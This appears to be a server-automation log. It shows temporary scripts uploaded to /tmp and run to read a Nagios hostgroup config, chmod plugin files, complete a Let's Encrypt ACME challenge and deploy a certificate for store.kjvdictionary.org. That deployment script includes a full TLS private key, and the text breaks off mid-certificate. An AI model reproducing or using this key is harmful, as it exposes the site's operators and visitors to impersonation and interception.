MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 16a6b21856019c75aa249c6d4a2e7801
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-11 11:24:05: Establishing a connection
2026-06-11 11:24:05: 

PUT: /tmp/pkp931738

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-11 11:24:05: 

chmod 755 /tmp/pkp931738; /tmp/pkp931738; rm /tmp/pkp931738

2026-06-11 11:24:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-06-11 11:24:05: 

systemctl reload nagios

2026-06-11 11:24:05: 




2026-06-11 11:25:23: Establishing a connection
2026-06-11 11:25:23: Establishing a connection
2026-06-11 11:25:24: 

PUT: /tmp/pkp692875

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp692875; /tmp/pkp692875; rm /tmp/pkp692875

2026-06-11 11:25:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-06-11 11:25:24: 

systemctl reload nagios

2026-06-11 11:25:24: 




2026-06-11 11:25:24: 

PUT: /tmp/pkp504208

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp504208; /tmp/pkp504208; rm /tmp/pkp504208

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp796582

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp796582; /tmp/pkp796582; rm /tmp/pkp796582

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp566699

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp566699; /tmp/pkp566699; rm /tmp/pkp566699

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp231292

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp231292; /tmp/pkp231292; rm /tmp/pkp231292

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp633110

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp633110; /tmp/pkp633110; rm /tmp/pkp633110

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp923984

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp923984; /tmp/pkp923984; rm /tmp/pkp923984

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp390051

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp390051; /tmp/pkp390051; rm /tmp/pkp390051

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp490534

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp490534; /tmp/pkp490534; rm /tmp/pkp490534

2026-06-11 11:25:24: 


ok


2026-06-11 11:25:24: 

PUT: /tmp/pkp455036

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-06-11 11:25:24: 

chmod 755 /tmp/pkp455036; /tmp/pkp455036; rm /tmp/pkp455036

2026-06-11 11:25:24: 


ok


2026-06-12 06:00:01: Establishing a connection
2026-06-12 06:00:01: Establishing a connection
2026-06-12 06:00:02: 

PUT: /tmp/pkp730816

#!/bin/bash
if [ -d "/var/www/kjvdictionary_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-12 06:00:03: 

chmod 755 /tmp/pkp730816; /tmp/pkp730816; rm /tmp/pkp730816

2026-06-12 06:00:03: 


1


2026-06-12 06:00:04: Establishing a connection
2026-06-12 06:00:04: 

PUT: /tmp/pkp192757

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cat > uuDEwjbDddnE5cbfTPZIcoyvUl0YzChPRUW7vfr626I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
uuDEwjbDddnE5cbfTPZIcoyvUl0YzChPRUW7vfr626I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 uuDEwjbDddnE5cbfTPZIcoyvUl0YzChPRUW7vfr626I


2026-06-12 06:00:04: 

chmod 755 /tmp/pkp192757; /tmp/pkp192757; rm /tmp/pkp192757

2026-06-12 06:00:04: 




2026-06-12 06:00:11: Establishing a connection
2026-06-12 06:00:11: 

PUT: /tmp/pkp376987

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
rm uuDEwjbDddnE5cbfTPZIcoyvUl0YzChPRUW7vfr626I


2026-06-12 06:00:11: 

chmod 755 /tmp/pkp376987; /tmp/pkp376987; rm /tmp/pkp376987

2026-06-12 06:00:11: 




2026-06-12 06:00:11: Establishing a connection
2026-06-12 06:00:11: 

PUT: /tmp/pkp805897

#!/bin/bash
temp_file=$(mktemp)
TARGET=82027fd7e0abdd79a359ee4b0d03e041.crt

cat > $temp_file <<'endmsg'
9b:96:66:e4:65:d7:47:5f:e4:ee:bf:1c:de:83:df:71

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBnP2tYmRcEJHBbyWggVv55IGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjEyMDUwMTQwWhcNMjYwOTEwMDUwMTM5WjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBANMZZnwewMlfETPDhDVEBHR6xqjlSwxuWNSaEZ5BLGqZwPDWTW4T
g9yvMNm/SZkfkrc7LaxfWdfmVWEIFgNLUa4aKOTeTNHN0DNi7T5gwKbvwZUu+f5z
/2+qchFiLrVnLlVQut1T30Xd8exkVlIMNJcvAW26r2Z331FapzTkpGdiTBv90/oT
8b6qUSvn8NXvrs3pi7Y2JUb1uN1IhE4pxhZmmVjwdmRoiRxGQN8IEeGkDxBZQjyB
5scVUoyxZv3y5sGH1kHQFAgweXoWqg0gStpEshLEwyzE5YErkD8/E35FjtorEr/u
Jp4To4aHSp+YKfsih7hQXs7NvZ1xzqBc3eUCAwEAAaOCAiMwggIfMA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQ5Zh5qMikG3klIxFxWH8f/+4hC1DAfBgNVHSMEGDAWgBQfLzW+RhSCzUCx
rnksVXj699Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95
cjEuaS5sZW5jci5vcmcvMCIGA1UdEQQbMBmCF3N0b3JlLmtqdmRpY3Rpb25hcnku
b3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6
Ly95cjEuYy5sZW5jci5vcmcvNy5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcA
dgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ66ap+4AAAEAwBH
MEUCIQD9P060qmhMWxH1wmsPtehkaFbVxyrdSTwEFDRzj1bPuAIgZBEU1nlMxS4m
QPzIxheaZzgk1m2ndjOIHS4A4/0R1u0AfQBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0
YXdBIpRS7pVQXwAAAZ66aqCDAAgAAAUACXVVOwQDAEYwRAIgMpYseb2UOHccand9
ZSNdXVzomQUQqiN6A6Y/cRl/XUUCIB0p2d4zm9Wg1XMeh0qJ9TkMsjULKKIXznXQ
ObJTZ9QHMA0GCSqGSIb3DQEBCwUAA4IBAQAXBLZLKEkBwRoNJ8X1J3fu4LeI2Mnd
6VOAnnW3H2pAoUt9T+IH+tRYYwmb5YeP7cce/r9lWh6rGgkg+bwn7QSn6CXsfl5o
pSLyonniEnU+UUj/fUaoHVVqcnn4n2/6QznDkiASbNvyjspSNDlY1mJ+oc7h92mv
WjmXyTlm+MwYUE2cfsN6p+ARKEIe/oHnwOfycvKXsH9xa6fhNWU9EX9IfiAsFbky
YEvzc+aHZiUlvdNuUj1jj50n3EUY0hH4Vj7C9KS6uznDeWYiBZk5M+dPYfPLOG0O
qrSgydz3irlAcUF8EVEozk11tOUcj/0imzMRIK9Pop/4KQon11No4njF
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDTGWZ8HsDJXxEz
w4Q1RAR0esao5UsMbljUmhGeQSxqmcDw1k1uE4PcrzDZv0mZH5K3Oy2sX1nX5lVh
CBYDS1GuGijk3kzRzdAzYu0+YMCm78GVLvn+c/9vqnIRYi61Zy5VULrdU99F3fHs
ZFZSDDSXLwFtuq9md99RWqc05KRnYkwb/dP6E/G+qlEr5/DV767N6Yu2NiVG9bjd
SIROKcYWZplY8HZkaIkcRkDfCBHhpA8QWUI8gebHFVKMsWb98ubBh9ZB0BQIMHl6
FqoNIEraRLISxMMsxOWBK5A/PxN+RY7aKxK/7iaeE6OGh0qfmCn7Ioe4UF7Ozb2d
cc6gXN3lAgMBAAECggEAG2vnbAR4qY/aWwgw8n8L5G+Vwmx1SRTvyr+FaLJxnnAA
5/1b4Ip+F1rV3ys3LcIJW8OUWsRQwOK664L9N7Sp1Gex2+Jj8Ir/hR/6znQLV9lk
IvNlEQsovsIm1XWUuLFsYN5pmlo3R3WduUXiuqoQOM/9K6+o8jLBxRPKuEG3zh/y
TLlt6395IBxd6/o4TxWx5nEXAgCcN9vD2DgpDz/rUfu+ksR7QrymaQ3/P+8pvYg5
LkUryxsGU4qseFmPRGys2TDRD4DCeNP/qGOYf5G82G3Wdv5PkMShIKFmkuG/jRm5
dDgLIWd14hp6OftuZbe8+sQ6IEwSATa6+KaVnOdRXwKBgQD7HopPBTqzge3+bQ72
vnOyRgKptq+xZOeO3dlqvSQw03W9wXmthiSV5QxU2a8a+vuJaBfyy3bFOSfudVic
TegE5qPs5sgstKWCX4/yi8azW49062Z0q+Rmqa0UH3r9+xEgZ2mGa+nqEyIZRXbi
A5HFekpNO9Vfwfwjnn4zCID8RwKBgQDXM7zX473LZ0GglYkid8/VxnHq+0qqLWJE
R8ZZAlXSEW/Z6EX5M23ree6CdV6wEA/uGrHsr1TFq5Zf/u2hRnhApej9svbN0Du/
mxesOophL8Va61AtLqv8COuIDH2hKX6Znzsx9hEZKD6TxJH1WkVADpkz5mPNa1R+
ziJyEL8mcwKBgQDm2nSboFsOmuuHcgrHmt4RjXr1OhTaJ8EX/araDXcvy7X589tA
Qolvo1lqx5PKYeDLuP4LHjDZrmmfNhF338bkeoNITgDH2GovKFrUxtqsGAgRnDZc
G4mlN2b9kNMomZ5tA6RnBt3Lajt2r/1SWaWwvXOA/PhzR4nb1OB/Wdn6EQKBgQDA
eB9vntpCryj87IDn+OxDL+b22KUgqtJ2axM0zGfhJ4M4Cwt6I8stjbIJr9tt8A+v
TuTO4MkauaoWVTRGx3YJq9lD/enKjXDCn31+piTZYxZJiKf+oP1kvr2YwkMh/rCh
yM3ykzcbnujI1EgOfhvtfKD80BN2x4Wcm9Qm3F95jQKBgQDjs3OAlAJFjXVAV2nd
Zg28ZAwkzSPhKylDqIvNCLqr1YlrYCCRYCJl6d02m4qKkTWxApfk5hEkRv8lQAkd
UOE4f9rL79E3OEWG0mN33crhfFeE4oxJFWAQBkwZQu/H3UC5iYEcCJxwfP+Ejr45
P8D6fxnLJ19GnOJZvGYxpogbVA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
